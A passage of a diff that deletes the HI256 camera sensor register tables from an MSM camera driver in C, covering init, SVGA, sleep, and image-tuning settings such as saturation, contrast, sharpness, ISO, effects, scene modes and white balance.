{0x9b, 0x43}, - {0x9c, 0x43}, - {0x03, 0x02}, - {0x12, 0x03}, - {0x13, 0x03}, - {0x15, 0x00}, - {0x16, 0x00}, - {0x17, 0x8C}, - {0x18, 0x4c}, - {0x19, 0x00}, - {0x1a, 0x39}, - {0x1c, 0x09}, - {0x1d, 0x40}, - {0x1e, 0x30}, - {0x1f, 0x10}, - {0x20, 0x77}, - {0x21, 0x6d}, - {0x22, 0x77}, - {0x23, 0x30}, - {0x24, 0x77}, - {0x27, 0x3c}, - {0x2b, 0x80}, - {0x2e, 0x00}, - {0x2f, 0x00}, - {0x30, 0x05}, - {0x50, 0x20}, - {0x52, 0x01}, - {0x53, 0xc1}, - {0x55, 0x1c}, - {0x56, 0x11}, - {0x58, 0x22}, - {0x59, 0x20}, - {0x5d, 0xa2}, - {0x5e, 0x5a}, - {0x60, 0x87}, - {0x61, 0x99}, - {0x62, 0x88}, - {0x63, 0x97}, - {0x64, 0x88}, - {0x65, 0x97}, - {0x67, 0x0c}, - {0x68, 0x0c}, - {0x69, 0x0c}, - {0x72, 0x89}, - {0x73, 0x96}, - {0x74, 0x89}, - {0x75, 0x96}, - {0x76, 0x89}, - {0x77, 0x96}, - {0x7c, 0x85}, - {0x7d, 0xaf}, - {0x80, 0x01}, - {0x81, 0x7f}, - {0x82, 0x13}, - {0x83, 0x24}, - {0x84, 0x7d}, - {0x85, 0x81}, - {0x86, 0x7d}, - {0x87, 0x81}, - {0x92, 0x48}, - {0x93, 0x54}, - {0x94, 0x7d}, - {0x95, 0x81}, - {0x96, 0x7d}, - {0x97, 0x81}, - {0xa0, 0x02}, - {0xa1, 0x7b}, - {0xa2, 0x02}, - {0xa3, 0x7b}, - {0xa4, 0x7b}, - {0xa5, 0x02}, - {0xa6, 0x7b}, - {0xa7, 0x02}, - {0xa8, 0x85}, - {0xa9, 0x8c}, - {0xaa, 0x85}, - {0xab, 0x8c}, - {0xac, 0x10}, - {0xad, 0x16}, - {0xae, 0x10}, - {0xaf, 0x16}, - {0xb0, 0x99}, - {0xb1, 0xa3}, - {0xb2, 0xa4}, - {0xb3, 0xae}, - {0xb4, 0x9b}, - {0xb5, 0xa2}, - {0xb6, 0xa6}, - {0xb7, 0xac}, - {0xb8, 0x9b}, - {0xb9, 0x9f}, - {0xba, 0xa6}, - {0xbb, 0xaa}, - {0xbc, 0x9b}, - {0xbd, 0x9f}, - {0xbe, 0xa6}, - {0xbf, 0xaa}, - {0xc4, 0x2c}, - {0xc5, 0x43}, - {0xc6, 0x63}, - {0xc7, 0x79}, - {0xc8, 0x2d}, - {0xc9, 0x42}, - {0xca, 0x2d}, - {0xcb, 0x42}, - {0xcc, 0x64}, - {0xcd, 0x78}, - {0xce, 0x64}, - {0xcf, 0x78}, - {0xd0, 0x0a}, - {0xd1, 0x09}, - {0xd4, 0x0c}, - {0xd5, 0x0c}, - {0xd6, 0x78}, - {0xd7, 0x70}, - {0xe0, 0xc4}, - {0xe1, 0xc4}, - {0xe2, 0xc4}, - {0xe3, 0xc4}, - {0xe4, 0x00}, - {0xe8, 0x80}, - {0xe9, 0x40}, - {0xea, 0x7f}, - {0xf0, 0xc1}, - {0xf1, 0xc1}, - {0xf2, 0xc1}, - {0xf3, 0xc1}, - {0xf4, 0xc1}, - {0x03, 0x03}, - {0x10, 0x10}, - {0x03, 0x10}, - {0x10, 0x03}, - {0x12, 0x30}, - {0x13, 0x02}, - {0x20, 0x00}, - {0x30, 0x00}, - {0x31, 0x00}, - {0x32, 0x00}, - {0x33, 0x00}, - {0x34, 0x30}, - {0x35, 0x00}, - {0x36, 0x00}, - {0x38, 0x00}, - {0x3e, 0x58}, - {0x3f, 0x00}, - {0x40, 0x80}, - {0x41, 0x00}, - {0x48, 0x95}, - {0x60, 0x67}, - {0x61, 0x88}, - {0x62, 0x90}, - {0x63, 0x50}, - {0x64, 0x41}, - {0x66, 0x42}, - {0x67, 0x20}, - {0x6a, 0x71}, - {0x6b, 0x84}, - {0x6c, 0x72}, - {0x6d, 0x83}, - {0x03, 0x11}, - {0x10, 0x7f}, - {0x11, 0x40}, - {0x12, 0x0a}, - {0x13, 0xbb}, - {0x26, 0x31}, - {0x27, 0x34}, - {0x28, 0x0f}, - {0x29, 0x10}, - {0x2b, 0x30}, - {0x2c, 0x32}, - {0x30, 0x70}, - {0x31, 0x10}, - {0x32, 0x58}, - {0x33, 0x09}, - {0x34, 0x06}, - {0x35, 0x03}, - {0x36, 0x70}, - {0x37, 0x18}, - {0x38, 0x58}, - {0x39, 0x09}, - {0x3a, 0x06}, - {0x3b, 0x03}, - {0x3c, 0x80}, - {0x3d, 0x18}, - {0x3e, 0x80}, - {0x3f, 0x0c}, - {0x40, 0x05}, - {0x41, 0x06}, - {0x42, 0x80}, - {0x43, 0x18}, - {0x44, 0x80}, - {0x45, 0x0c}, - {0x46, 0x05}, - {0x47, 0x06}, - {0x48, 0x90}, - {0x49, 0x40}, - {0x4a, 0x80}, - {0x4b, 0x13}, - {0x4c, 0x10}, - {0x4d, 0x11}, - {0x4e, 0x80}, - {0x4f, 0x30}, - {0x50, 0x80}, - {0x51, 0x13}, - {0x52, 0x10}, - {0x53, 0x13}, - {0x54, 0x11}, - {0x55, 0x17}, - {0x56, 0x20}, - {0x57, 0x01}, - {0x58, 0x00}, - {0x59, 0x00}, - {0x5a, 0x18}, - {0x5b, 0x00}, - {0x5c, 0x00}, - {0x60, 0x3f}, - {0x62, 0x60}, - {0x70, 0x06}, - {0x03, 0x12}, - {0x20, 0x00}, - {0x21, 0x00}, - {0x25, 0x00}, - {0x28, 0x00}, - {0x29, 0x00}, - {0x2a, 0x00}, - {0x30, 0x50}, - {0x31, 0x18}, - {0x32, 0x32}, - {0x33, 0x40}, - {0x34, 0x50}, - {0x35, 0x70}, - {0x36, 0xa0}, - {0x40, 0xa0}, - {0x41, 0x40}, - {0x42, 0xa0}, - {0x43, 0x90}, - {0x44, 0x90}, - {0x45, 0x80}, - {0x46, 0xb0}, - {0x47, 0x55}, - {0x48, 0xa0}, - {0x49, 0x90}, - {0x4a, 0x90}, - {0x4b, 0x80}, - {0x4c, 0xb0}, - {0x4d, 0x40}, - {0x4e, 0x90}, - {0x4f, 0x60}, - {0x50, 0xa0}, - {0x51, 0x80}, - {0x52, 0xb0}, - {0x53, 0x40}, - {0x54, 0x90}, - {0x55, 0x60}, - {0x56, 0xa0}, - {0x57, 0x80}, - {0x58, 0x90}, - {0x59, 0x40}, - {0x5a, 0xd0}, - {0x5b, 0xd0}, - {0x5c, 0xe0}, - {0x5d, 0x80}, - {0x5e, 0x88}, - {0x5f, 0x40}, - {0x60, 0xe0}, - {0x61, 0xe0}, - {0x62, 0xe0}, - {0x63, 0x80}, - {0x70, 0x15}, - {0x71, 0x01}, - {0x72, 0x18}, - {0x73, 0x01}, - {0x74, 0x25}, - {0x75, 0x15}, - {0x80, 0x20}, - {0x81, 0x40}, - {0x82, 0x65}, - {0x85, 0x1a}, - {0x88, 0x00}, - {0x89, 0x00}, - {0x90, 0x5d}, - {0xD0, 0x0c}, - {0xD1, 0x80}, - {0xD2, 0x17}, - {0xD3, 0x00}, - {0xD4, 0x00}, - {0xD5, 0x0f}, - {0xD6, 0xff}, - {0xD7, 0xff}, - {0x3b, 0x06}, - {0x3c, 0x06}, - {0xc5, 0x00}, - {0xc6, 0x00}, - {0x03, 0x13}, - {0x10, 0xcb}, - {0x11, 0x7b}, - {0x12, 0x07}, - {0x14, 0x00}, - {0x20, 0x15}, - {0x21, 0x13}, - {0x22, 0x33}, - {0x23, 0x05}, - {0x24, 0x09}, - {0x25, 0x0a}, - {0x26, 0x18}, - {0x27, 0x30}, - {0x29, 0x12}, - {0x2a, 0x50}, - {0x2b, 0x02}, - {0x2c, 0x02}, - {0x25, 0x06}, - {0x2d, 0x0c}, - {0x2e, 0x12}, - {0x2f, 0x12}, - {0x50, 0x10}, - {0x51, 0x14}, - {0x52, 0x12}, - {0x53, 0x0c}, - {0x54, 0x0f}, - {0x55, 0x0c}, - {0x56, 0x10}, - {0x57, 0x13}, - {0x58, 0x12}, - {0x59, 0x0c}, - {0x5a, 0x0f}, - {0x5b, 0x0c}, - {0x5c, 0x25}, - {0x5d, 0x25}, - {0x5e, 0x25}, - {0x5f, 0x25}, - {0x60, 0x25}, - {0x61, 0x25}, - {0x62, 0x25}, - {0x63, 0x25}, - {0x64, 0x25}, - {0x65, 0x25}, - {0x66, 0x25}, - {0x67, 0x25}, - {0x68, 0x07}, - {0x69, 0x07}, - {0x6a, 0x07}, - {0x6b, 0x05}, - {0x6c, 0x05}, - {0x6d, 0x05}, - {0x6e, 0x07}, - {0x6f, 0x07}, - {0x70, 0x07}, - {0x71, 0x05}, - {0x72, 0x05}, - {0x73, 0x05}, - {0x80, 0x01}, - {0x81, 0x1f}, - {0x82, 0x05}, - {0x83, 0x31}, - {0x90, 0x05}, - {0x91, 0x05}, - {0x92, 0x33}, - {0x93, 0x30}, - {0x94, 0x03}, - {0x95, 0x14}, - {0x97, 0x20}, - {0x99, 0x20}, - {0xa0, 0x01}, - {0xa1, 0x02}, - {0xa2, 0x01}, - {0xa3, 0x02}, - {0xa4, 0x05}, - {0xa5, 0x05}, - {0xa6, 0x07}, - {0xa7, 0x08}, - {0xa8, 0x07}, - {0xa9, 0x08}, - {0xaa, 0x07}, - {0xab, 0x08}, - {0xb0, 0x22}, - {0xb1, 0x2a}, - {0xb2, 0x28}, - {0xb3, 0x22}, - {0xb4, 0x2a}, - {0xb5, 0x28}, - {0xb6, 0x22}, - {0xb7, 0x2a}, - {0xb8, 0x28}, - {0xb9, 0x22}, - {0xba, 0x2a}, - {0xbb, 0x28}, - {0xbc, 0x25}, - {0xbd, 0x2a}, - {0xbe, 0x27}, - {0xbf, 0x25}, - {0xc0, 0x2a}, - {0xc1, 0x27}, - {0xc2, 0x1e}, - {0xc3, 0x24}, - {0xc4, 0x20}, - {0xc5, 0x1e}, - {0xc6, 0x24}, - {0xc7, 0x20}, - {0xc8, 0x18}, - {0xc9, 0x20}, - {0xca, 0x1e}, - {0xcb, 0x18}, - {0xcc, 0x20}, - {0xcd, 0x1e}, - {0xce, 0x18}, - {0xcf, 0x20}, - {0xd0, 0x1e}, - {0xd1, 0x18}, - {0xd2, 0x20}, - {0xd3, 0x1e}, - {0x03, 0x14}, - {0x10, 0x11}, - {0x14, 0x80}, - {0x15, 0x80}, - {0x16, 0x80}, - {0x17, 0x80}, - {0x18, 0x80}, - {0x19, 0x80}, - {0x20, 0x80}, - {0x21, 0x80}, - {0x22, 0x80}, - {0x23, 0x80}, - {0x24, 0x80}, - {0x30, 0xc8}, - {0x31, 0x2b}, - {0x32, 0x00}, - {0x33, 0x00}, - {0x34, 0x90}, - {0x40, 0x32}, - {0x50, 0x21}, - {0x60, 0x19}, - {0x70, 0x21}, - {0x03, 0x15}, - {0x10, 0x0f}, - {0x14, 0x46}, - {0x15, 0x36}, - {0x16, 0x26}, - {0x17, 0x2f}, - {0x30, 0x8f}, - {0x31, 0x59}, - {0x32, 0x0a}, - {0x33, 0x15}, - {0x34, 0x5b}, - {0x35, 0x06}, - {0x36, 0x07}, - {0x37, 0x40}, - {0x38, 0x87}, - {0x40, 0x94}, - {0x41, 0x20}, - {0x42, 0x89}, - {0x43, 0x84}, - {0x44, 0x03}, - {0x45, 0x01}, - {0x46, 0x88}, - {0x47, 0x9c}, - {0x48, 0x28}, - {0x50, 0x02}, - {0x51, 0x82}, - {0x52, 0x00}, - {0x53, 0x07}, - {0x54, 0x11}, - {0x55, 0x98}, - {0x56, 0x00}, - {0x57, 0x0b}, - {0x58, 0x8b}, - {0x80, 0x03}, - {0x85, 0x40}, - {0x87, 0x02}, - {0x88, 0x00}, - {0x89, 0x00}, - {0x8a, 0x00}, - {0x03, 0x16}, - {0x10, 0x31}, - {0x18, 0x5e}, - {0x19, 0x5d}, - {0x1a, 0x0e}, - {0x1b, 0x01}, - {0x1c, 0xdc}, - {0x1d, 0xfe}, - {0x30, 0x00}, - {0x31, 0x0a}, - {0x32, 0x1f}, - {0x33, 0x33}, - {0x34, 0x53}, - {0x35, 0x6c}, - {0x36, 0x81}, - {0x37, 0x94}, - {0x38, 0xa4}, - {0x39, 0xb3}, - {0x3a, 0xc0}, - {0x3b, 0xcb}, - {0x3c, 0xd5}, - {0x3d, 0xde}, - {0x3e, 0xe6}, - {0x3f, 0xee}, - {0x40, 0xf5}, - {0x41, 0xfc}, - {0x42, 0xff}, - {0x50, 0x00}, - {0x51, 0x08}, - {0x52, 0x1e}, - {0x53, 0x36}, - {0x54, 0x5a}, - {0x55, 0x75}, - {0x56, 0x8d}, - {0x57, 0xa1}, - {0x58, 0xb2}, - {0x59, 0xbe}, - {0x5a, 0xc9}, - {0x5b, 0xd2}, - {0x5c, 0xdb}, - {0x5d, 0xe3}, - {0x5e, 0xeb}, - {0x5f, 0xf0}, - {0x60, 0xf5}, - {0x61, 0xf7}, - {0x62, 0xf8}, - {0x70, 0x00}, - {0x71, 0x08}, - {0x72, 0x17}, - {0x73, 0x2f}, - {0x74, 0x53}, - {0x75, 0x6c}, - {0x76, 0x81}, - {0x77, 0x94}, - {0x78, 0xa4}, - {0x79, 0xb3}, - {0x7a, 0xc0}, - {0x7b, 0xcb}, - {0x7c, 0xd5}, - {0x7d, 0xde}, - {0x7e, 0xe6}, - {0x7f, 0xee}, - {0x80, 0xf4}, - {0x81, 0xfa}, - {0x82, 0xff}, - {0x03, 0x17}, - {0x10, 0xf7}, - {0xC4, 0x66}, - {0xC5, 0x55}, - {0x03, 0x20}, - {0x11, 0x1c}, - {0x18, 0x30}, - {0x1a, 0x08}, - {0x20, 0x05}, - {0x21, 0x30}, - {0x22, 0x10}, - {0x23, 0x00}, - {0x24, 0x00}, - {0x28, 0xe7}, - {0x29, 0x0d}, - {0x2a, 0xf0}, - {0x2b, 0x34}, - {0x30, 0x78}, - {0x2c, 0xc2}, - {0x2d, 0xff}, - {0x2e, 0x33}, - {0x30, 0x78}, - {0x32, 0x03}, - {0x33, 0x2e}, - {0x34, 0x30}, - {0x35, 0xd4}, - {0x36, 0xfe}, - {0x37, 0x32}, - {0x38, 0x04}, - {0x39, 0x22}, - {0x3a, 0xde}, - {0x3b, 0x22}, - {0x3c, 0xde}, - {0x50, 0x45}, - {0x51, 0x88}, - {0x56, 0x03}, - {0x57, 0xf7}, - {0x58, 0x14}, - {0x59, 0x88}, - {0x5a, 0x04}, - {0x60, 0xaa}, - {0x61, 0xaa}, - {0x62, 0xaa}, - {0x63, 0xaa}, - {0x64, 0xaa}, - {0x65, 0xaa}, - {0x66, 0xab}, - {0x67, 0xEa}, - {0x68, 0xab}, - {0x69, 0xEa}, - {0x6a, 0xaa}, - {0x6b, 0xaa}, - {0x6c, 0xaa}, - {0x6d, 0xaa}, - {0x6e, 0xaa}, - {0x6f, 0xaa}, - {0x70, 0x76}, - {0x71, 0x80}, - {0x76, 0x43}, - {0x77, 0x04}, - {0x78, 0x23}, - {0x79, 0x46}, - {0x7a, 0x23}, - {0x7b, 0x22}, - {0x7d, 0x23}, - {0x83, 0x01}, - {0x84, 0x5f}, - {0x85, 0x90}, - {0x86, 0x01}, - {0x87, 0x2c}, - {0x88, 0x05}, - {0x89, 0x7e}, - {0x8a, 0x40}, - {0x8B, 0x75}, - {0x8C, 0x30}, - {0x8D, 0x61}, - {0x8E, 0x44}, - {0x9c, 0x08}, - {0x9d, 0x34}, - {0x9e, 0x01}, - {0x9f, 0x2c}, - {0xb0, 0x18}, - {0xb1, 0x14}, - {0xb2, 0x80}, - {0xb3, 0x18}, - {0xb4, 0x1a}, - {0xb5, 0x44}, - {0xb6, 0x2f}, - {0xb7, 0x28}, - {0xb8, 0x25}, - {0xb9, 0x22}, - {0xba, 0x21}, - {0xbb, 0x20}, - {0xbc, 0x32}, - {0xbd, 0x30}, - {0xc0, 0x10}, - {0xc1, 0x2b}, - {0xc2, 0x2b}, - {0xc3, 0x2b}, - {0xc4, 0x08}, - {0xc8, 0x40}, - {0xc9, 0x40}, - {0x03, 0x22}, - {0x10, 0xfd}, - {0x11, 0x2e}, - {0x19, 0x01}, - {0x20, 0x10}, - {0x21, 0x80}, - {0x24, 0x01}, - {0x30, 0x80}, - {0x31, 0x80}, - {0x38, 0x11}, - {0x39, 0x34}, - {0x40, 0xfa}, - {0x41, 0x44}, - {0x42, 0x43}, - {0x43, 0xf6}, - {0x44, 0x44}, - {0x45, 0x33}, - {0x46, 0x00}, - {0x50, 0xb2}, - {0x51, 0x81}, - {0x52, 0x98}, - {0x80, 0x38}, - {0x81, 0x20}, - {0x82, 0x38}, - {0x83, 0x5e}, - {0x84, 0x18}, - {0x85, 0x58}, - {0x86, 0x20}, - {0x87, 0x49}, - {0x88, 0x33}, - {0x89, 0x37}, - {0x8a, 0x2a}, - {0x8b, 0x41}, - {0x8c, 0x39}, - {0x8d, 0x34}, - {0x8e, 0x29}, - {0x8f, 0x53}, - {0x90, 0x52}, - {0x91, 0x51}, - {0x92, 0x4e}, - {0x93, 0x46}, - {0x94, 0x3d}, - {0x95, 0x34}, - {0x96, 0x2e}, - {0x97, 0x29}, - {0x98, 0x22}, - {0x99, 0x1c}, - {0x9a, 0x18}, - {0x9b, 0x77}, - {0x9c, 0x77}, - {0x9d, 0x48}, - {0x9e, 0x38}, - {0x9f, 0x30}, - {0xa0, 0x60}, - {0xa1, 0x34}, - {0xa2, 0x6f}, - {0xa3, 0xff}, - {0xa4, 0x14}, - {0xa5, 0x2c}, - {0xa6, 0xcf}, - {0xad, 0x40}, - {0xae, 0x4a}, - {0xaf, 0x28}, - {0xb0, 0x26}, - {0xb1, 0x00}, - {0xb4, 0xea}, - {0xb8, 0xa0}, - {0xb9, 0x00}, - {0x03, 0x48}, - {0x70, 0x03}, - {0x71, 0x30}, - {0x72, 0x81}, - {0x73, 0x10}, - {0x70, 0x85}, - {0x03, 0x48}, - {0x03, 0x48}, - {0x03, 0x48}, - {0x03, 0x48}, - {0x70, 0x95}, - {0x10, 0x1c}, - {0x11, 0x10}, - {0x12, 0x00}, - {0x14, 0x00}, - {0x16, 0x04}, - {0x18, 0x80}, - {0x19, 0x00}, - {0x1a, 0xa0}, - {0x1b, 0x0d}, - {0x1c, 0x01}, - {0x1d, 0x0a}, - {0x1e, 0x07}, - {0x1f, 0x0b}, - {0x23, 0x01}, - {0x24, 0x1e}, - {0x25, 0x00}, - {0x26, 0x00}, - {0x27, 0x08}, - {0x28, 0x00}, - {0x30, 0x06}, - {0x31, 0x40}, - {0x32, 0x13}, - {0x33, 0x0c}, - {0x34, 0x04}, - {0x35, 0x06}, - {0x36, 0x01}, - {0x37, 0x06}, - {0x39, 0x4f}, - {0x03, 0x20}, - {0x10, 0x9c}, - {0x03, 0x22}, - {0x10, 0xe9}, - {0x03, 0x00}, - {0x03, 0x00}, - {0x03, 0x00}, - {0x03, 0x00}, - {0x03, 0x00}, - {0x03, 0x00}, - {0x03, 0x00}, - {0x03, 0x00}, - {0x03, 0x00}, - {0x03, 0x00}, - {0x03, 0x00}, - {0x0e, 0x03}, - {0x0e, 0x73}, - {0x03, 0x00}, - {0x01, 0xf0}, -}; - -static struct v4l2_subdev_info hi256_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_YUYV8_2X8, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static struct msm_camera_i2c_reg_conf hi256_svga_settings[] = { - {0x03, 0x20}, - {0x10, 0x1c}, - {0x03, 0x22}, - {0x10, 0x69}, - {0x03, 0x00}, - {0x10, 0x13}, - {0x12, 0x00}, - {0x20, 0x00}, - {0x21, 0x04}, - {0x22, 0x00}, - {0x23, 0x07}, - {0x40, 0x01}, - {0x41, 0x78}, - {0x42, 0x00}, - {0x43, 0x14}, - {0x03, 0x10}, - {0x3f, 0x02}, - {0x03, 0x12}, - {0x20, 0x0f}, - {0x21, 0x0f}, - {0x90, 0x5d}, - {0x03, 0x13}, - {0x80, 0x00}, - {0x03, 0x48}, - {0x72, 0x81}, - {0x30, 0x06}, - {0x31, 0x40}, - {0x03, 0x20}, - {0x88, 0x01}, - {0x89, 0x5f}, - {0x8a, 0x90}, - {0x03, 0x20}, - {0x10, 0x9c}, - {0x03, 0x22}, - {0x10, 0xe9}, -}; - -static struct msm_camera_i2c_reg_conf hi256_sleep_settings[] = { - - {0x03, 0x00}, - {0x01, 0xf1}, - {0x03, 0x02}, - {0x55, 0x10}, - - {0x01, 0xf1}, - {0x01, 0xf3}, - {0x01, 0xf1}, - -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_saturation[11][3] = { - { - {0x03, 0x10}, - {0x61, 0x1c}, - {0x62, 0x1c}, - }, - { - {0x03, 0x10}, - {0x61, 0x30}, - {0x62, 0x30}, - }, - { - {0x03, 0x10}, - {0x61, 0x44}, - {0x62, 0x44}, - }, - { - {0x03, 0x10}, - {0x61, 0x58}, - {0x62, 0x58}, - }, - { - {0x03, 0x10}, - {0x61, 0x6c}, - {0x62, 0x6c}, - }, - { - {0x03, 0x10}, - {0x61, 0x80}, - {0x62, 0x80}, - }, - { - {0x03, 0x10}, - {0x61, 0x94}, - {0x62, 0x94}, - }, - { - {0x03, 0x10}, - {0x61, 0xa8}, - {0x62, 0xa8}, - }, - { - {0x03, 0x10}, - {0x61, 0xbc}, - {0x62, 0xbc}, - }, - { - {0x03, 0x10}, - {0x61, 0xd0}, - {0x62, 0xd0}, - }, - { - {0x03, 0x10}, - {0x61, 0xe4}, - {0x62, 0xe4}, - }, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_contrast[11][3] = { - { - {0x03, 0x10}, - {0x13, 0x02}, - {0x48, 0x1c}, - }, - { - {0x03, 0x10}, - {0x13, 0x02}, - {0x48, 0x30}, - }, - { - {0x03, 0x10}, - {0x13, 0x02}, - {0x48, 0x44}, - }, - { - {0x03, 0x10}, - {0x13, 0x02}, - {0x48, 0x58}, - }, - { - {0x03, 0x10}, - {0x13, 0x02}, - {0x48, 0x6c}, - }, - { - {0x03, 0x10}, - {0x13, 0x02}, - {0x48, 0x80}, - }, - { - {0x03, 0x10}, - {0x13, 0x02}, - {0x48, 0x94}, - }, - { - {0x03, 0x10}, - {0x13, 0x02}, - {0x48, 0xa8}, - }, - { - {0x03, 0x10}, - {0x13, 0x02}, - {0x48, 0xbc}, - }, - { - {0x03, 0x10}, - {0x13, 0x02}, - {0x48, 0xd0}, - }, - { - {0x03, 0x10}, - {0x13, 0x02}, - {0x48, 0xe4}, - }, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_sharpness[7][9] = { - { - {0x03, 0x13}, - {0x20, 0x00}, - {0x21, 0x00}, - {0x23, 0x04}, - {0x24, 0x80}, - {0x90, 0x00}, - {0x91, 0x00}, - {0x94, 0x24}, - {0x95, 0x65}, - }, /* SHARPNESS LEVEL 0*/ - { - {0x03, 0x13}, - {0x20, 0x04}, - {0x21, 0x03}, - {0x23, 0x04}, - {0x24, 0x80}, - {0x90, 0x08}, - {0x91, 0x08}, - {0x94, 0x24}, - {0x95, 0x65}, - }, /* SHARPNESS LEVEL 1*/ - { - {0x03, 0x13}, - {0x20, 0x08}, - {0x21, 0x07}, - {0x23, 0x04}, - {0x24, 0x80}, - {0x90, 0x32}, - {0x91, 0x32}, - {0x94, 0x04}, - {0x95, 0x0a}, - }, /* SHARPNESS LEVEL 2*/ - { - {0x03, 0x13}, - {0x20, 0x15}, - {0x21, 0x15}, - {0x23, 0x09}, - {0x24, 0x11}, - {0x90, 0x05}, - {0x91, 0x05}, - {0x94, 0x10}, - {0x95, 0x5a}, - }, /* SHARPNESS LEVEL 3*/ - { - {0x03, 0x13}, - {0x20, 0x15}, - {0x21, 0x15}, - {0x23, 0x04}, - {0x24, 0x80}, - {0x90, 0xaf}, - {0x91, 0xaf}, - {0x94, 0x24}, - {0x95, 0x65}, - }, /* SHARPNESS LEVEL 4*/ - { - {0x03, 0x13}, - {0x20, 0x20}, - {0x21, 0x20}, - {0x23, 0x04}, - {0x24, 0x80}, - {0x90, 0xdf}, - {0x91, 0xdf}, - {0x94, 0x24}, - {0x95, 0x65}, - }, /* SHARPNESS LEVEL 5*/ - { - {0x03, 0x13}, - {0x20, 0x25}, - {0x21, 0x25}, - {0x23, 0x04}, - {0x24, 0x80}, - {0x90, 0xff}, - {0x91, 0xff}, - {0x94, 0x24}, - {0x95, 0x65}, - }, /* SHARPNESS LEVEL 6*/ -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_iso[7][3] = { - /* auto */ - { - {0x03, 0x20}, - {0x10, 0x9c}, - {0xb0, 0x18}, - }, - /* auto hjt */ - { - {0x03, 0x20}, - {0x10, 0x9c}, - {0xb0, 0x18}, - }, - /* iso 100 */ - { - {0x03, 0x20}, - {0x10, 0x0c}, - {0xb0, 0x1B}, - }, - /* iso 200 */ - { - {0x03, 0x20}, - {0x10, 0x0c}, - {0xb0, 0x35}, - }, - /* iso 400 */ - { - {0x03, 0x20}, - {0x10, 0x0c}, - {0xb0, 0x65}, - }, - /* iso 800 */ - { - {0x03, 0x20}, - {0x10, 0x0c}, - {0xb0, 0x95}, - }, - /* iso 1600 */ - { - {0x03, 0x20}, - {0x10, 0x0c}, - {0xb0, 0xd0}, - }, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_exposure_compensation[5][2] = { - /* -2 */ - { - {0x03, 0x10}, - {0x40, 0xa4}, - }, - /* -1 */ - { - {0x03, 0x10}, - {0x40, 0x94}, - }, - /* 0 */ - { - {0x03, 0x10}, - {0x40, 0x80}, - }, - /* 1 */ - { - {0x03, 0x10}, - {0x40, 0x14}, - }, - /* 2 */ - { - {0x03, 0x10}, - {0x40, 0x24}, - }, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_antibanding[][2] = { - /* OFF */ - { - {0x03, 0x20}, - {0x10, 0xcc}, - }, - /* 50Hz */ - { - {0x03, 0x20}, - {0x10, 0x9c}, - }, - /* 60Hz */ - { - {0x03, 0x20}, - {0x10, 0x8c}, - }, - /* AUTO */ - { - {0x03, 0x20}, - {0x10, 0xcc}, - }, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_effect_normal[] = { - /* normal: */ - {0x03, 0x20}, - {0x28, 0xe7}, - {0x03, 0x10}, - {0x11, 0x03}, - {0x12, 0X30}, - {0x13, 0x0a}, - {0x44, 0x80}, - {0x45, 0x80}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_effect_black_white[] = { - /* B&W: */ - {0x03, 0x20}, - {0x28, 0xe7}, - {0x03, 0x10}, - {0x11, 0x03}, - {0x12, 0x33}, - {0x13, 0x02}, - {0x44, 0x80}, - {0x45, 0x80}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_effect_negative[] = { - /* Negative: */ - {0x03, 0x20}, - {0x28, 0xe7}, - {0x03, 0x10}, - {0x11, 0x03}, - {0x12, 0x08}, - {0x13, 0x0a}, - {0x14, 0x00}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_effect_old_movie[] = { - /* Sepia(antique): */ - {0x03, 0x20}, - {0x28, 0xe7}, - {0x03, 0x10}, - {0x11, 0x03}, - {0x12, 0x33}, - {0x13, 0x0a}, - {0x44, 0x25}, - {0x45, 0xa6}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_effect_solarize[] = { - {0x03, 0x20}, - {0x28, 0xe7}, - {0x03, 0x10}, - {0x11, 0x0b}, - {0x12, 0x00}, - {0x13, 0x00}, - {0x14, 0x00}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_scene_auto[] = { - /* */ - {0x03, 0x20}, - {0x10, 0x1c}, - {0x18, 0x38}, - {0x88, 0x05}, - {0x89, 0x7e}, - {0x8a, 0x40}, - {0x10, 0x9c}, - {0x18, 0x30}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_scene_portrait[] = { - /* */ - {0x03, 0x20}, - {0x10, 0x1c}, - {0x18, 0x38}, - {0x88, 0x05}, - {0x89, 0x7e}, - {0x8a, 0x40}, - {0x10, 0x9c}, - {0x18, 0x30}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_scene_landscape[] = { - /* */ - {0x03, 0x20}, - {0x10, 0x1c}, - {0x18, 0x38}, - {0x88, 0x05}, - {0x89, 0x7e}, - {0x8a, 0x40}, - {0x10, 0x9c}, - {0x18, 0x30}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_scene_night[] = { - /* */ - {0x03, 0x20}, - {0x10, 0x1c}, - {0x18, 0x38}, - {0x88, 0x09}, - {0x89, 0x27}, - {0x8a, 0xc0}, - {0x10, 0x9c}, - {0x18, 0x30}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_wb_auto[] = { - /* Auto: */ - {0x03, 0x22}, - {0x11, 0x2e}, - {0x83, 0x60}, - {0x84, 0x0a}, - {0x85, 0x60}, - {0x86, 0x15}, - {0x10, 0xfd}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_wb_sunny[] = { - /* Sunny: */ - {0x03, 0x22}, - {0x11, 0x28}, - {0x80, 0x33}, - {0x82, 0x3d}, - {0x83, 0x2e}, - {0x84, 0x24}, - {0x85, 0x43}, - {0x86, 0x3d}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_wb_cloudy[] = { - /* Cloudy: */ - {0x03, 0x22}, - {0x11, 0x28}, - {0x80, 0x49}, - {0x82, 0x24}, - {0x83, 0x50}, - {0x84, 0x45}, - {0x85, 0x24}, - {0x86, 0x1E}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_wb_office[] = { - /* Office: */ - {0x03, 0x22}, - {0x11, 0x28}, - {0x80, 0x20}, - {0x82, 0x58}, - {0x83, 0x27}, - {0x84, 